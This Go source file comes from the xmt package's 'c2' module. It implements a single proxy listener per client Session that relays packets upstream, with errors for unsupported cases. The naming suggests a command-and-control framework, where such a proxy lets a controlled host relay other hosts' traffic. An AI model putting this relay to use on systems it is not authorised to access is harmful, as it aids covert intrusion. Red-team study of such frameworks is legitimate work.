github.com/iDigitalFlame/xmt@v0.5.4/c2/u_proxy_single.go (about)

     1  //go:build !multiproxy && !noproxy
     2  // +build !multiproxy,!noproxy
     3  
     4  // Copyright (C) 2020 - 2023 iDigitalFlame
     5  //
     6  // This program is free software: you can redistribute it and/or modify
     7  // it under the terms of the GNU General Public License as published by
     8  // the Free Software Foundation, either version 3 of the License, or
     9  // any later version.
    10  //
    11  // This program is distributed in the hope that it will be useful,
    12  // but WITHOUT ANY WARRANTY; without even the implied warranty of
    13  // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    14  // GNU General Public License for more details.
    15  //
    16  // You should have received a copy of the GNU General Public License
    17  // along with this program.  If not, see <https://www.gnu.org/licenses/>.
    18  //
    19  
    20  package c2
    21  
    22  import (
    23  	"context"
    24  
    25  	"github.com/iDigitalFlame/xmt/c2/cfg"
    26  	"github.com/iDigitalFlame/xmt/c2/cout"
    27  	"github.com/iDigitalFlame/xmt/data"
    28  	"github.com/iDigitalFlame/xmt/util/xerr"
    29  )
    30  
    31  type proxyBase struct {
    32  	_ [0]func()
    33  	*Proxy
    34  }
    35  
    36  // Proxy returns the current Proxy (if enabled). This function take a name
    37  // argument that is a string that specifies the Proxy name.
    38  //
    39  // By default, the name is ignored as multiproxy support is disabled.
    40  //
    41  // When proxy support is disabled, this always returns nil.
    42  func (s *Session) Proxy(_ string) *Proxy {
    43  	if s.proxy == nil {
    44  		return nil
    45  	}
    46  	return s.proxy.Proxy
    47  }
    48  func (s *Session) checkProxyMarshal() bool {
    49  	if s.proxy == nil {
    50  		return true
    51  	}
    52  	_, ok := s.proxy.p.(marshaler)
    53  	return ok
    54  }
    55  func (s *Session) writeProxyData(f bool, w data.Writer) error {
    56  	if !s.IsClient() || !s.IsActive() {
    57  		return nil
    58  	}
    59  	if s.proxy == nil {
    60  		return w.WriteUint8(0)
    61  	}
    62  	if !s.proxy.IsActive() {
    63  		s.proxy = nil
    64  		return w.WriteUint8(0)
    65  	}
    66  	if err := w.WriteUint8(1); err != nil {
    67  		return err
    68  	}
    69  	if err := w.WriteString(s.proxy.name); err != nil {
    70  		return err
    71  	}
    72  	if err := w.WriteString(s.proxy.addr); err != nil {
    73  		return err
    74  	}
    75  	if !f {
    76  		return nil
    77  	}
    78  	p, ok := s.proxy.p.(marshaler)
    79  	if !ok {
    80  		return xerr.Sub("cannot marshal Proxy Profile", 0x54)
    81  	}
    82  	b, err := p.MarshalBinary()
    83  	if err != nil {
    84  		return err
    85  	}
    86  	return w.WriteBytes(b)
    87  }
    88  
    89  // NewProxy establishes a new listening Proxy connection using the supplied Profile
    90  // name and bind address that will send any received Packets "upstream" via the
    91  // current Session.
    92  //
    93  // Packets destined for hosts connected to this proxy will be routed back and
    94  // forth on this Session.
    95  //
    96  // This function will return an error if this is not a client Session or
    97  // listening fails.
    98  func (s *Session) NewProxy(name, addr string, p cfg.Profile) (*Proxy, error) {
    99  	if !s.IsClient() {
   100  		return nil, xerr.Sub("must be a client session", 0x4E)
   101  	}
   102  	if s.isMoving() {
   103  		return nil, xerr.Sub("migration in progress", 0x4F)
   104  	}
   105  	// TODO(dij): Need to enable this, but honestly its a lot of work for
   106  	//            something that might have 0 use.
   107  	//
   108  	//            People, if you feel otherwise, put in a GitHub issue plz.
   109  	//
   110  	// NOTE(dij): Build with the "multiproxy" tag to remove this restriction
   111  	if s.proxy != nil {
   112  		return nil, xerr.Sub("only a single Proxy per session can be active", 0x55)
   113  	}
   114  	if p == nil {
   115  		return nil, ErrInvalidProfile
   116  	}
   117  	h, w, t := p.Next()
   118  	if len(addr) > 0 {
   119  		h = addr
   120  	}
   121  	if len(h) == 0 {
   122  		return nil, ErrNoHost
   123  	}
   124  	l, err := p.Listen(s.ctx, h)
   125  	if err != nil {
   126  		return nil, xerr.Wrap("unable to listen", err)
   127  	}
   128  	if l == nil {
   129  		return nil, xerr.Sub("unable to listen", 0x49)
   130  	}
   131  	v := &Proxy{
   132  		ch:         make(chan struct{}),
   133  		name:       name,
   134  		addr:       h,
   135  		close:      make(chan uint32, 8),
   136  		parent:     s,
   137  		clients:    make(map[uint32]*proxyClient),
   138  		listener:   l,
   139  		connection: connection{s: s.s, p: p, w: w, m: s.m, t: t, log: s.log},
   140  	}
   141  	if v.ctx, v.cancel = context.WithCancel(s.ctx); cout.Enabled {
   142  		s.log.Info(`[%s/P] Added Proxy Listener on "%s"!`, s.ID, h)
   143  	}
   144  	s.proxy = &proxyBase{Proxy: v}
   145  	go v.listen()
   146  	return v, nil
   147  }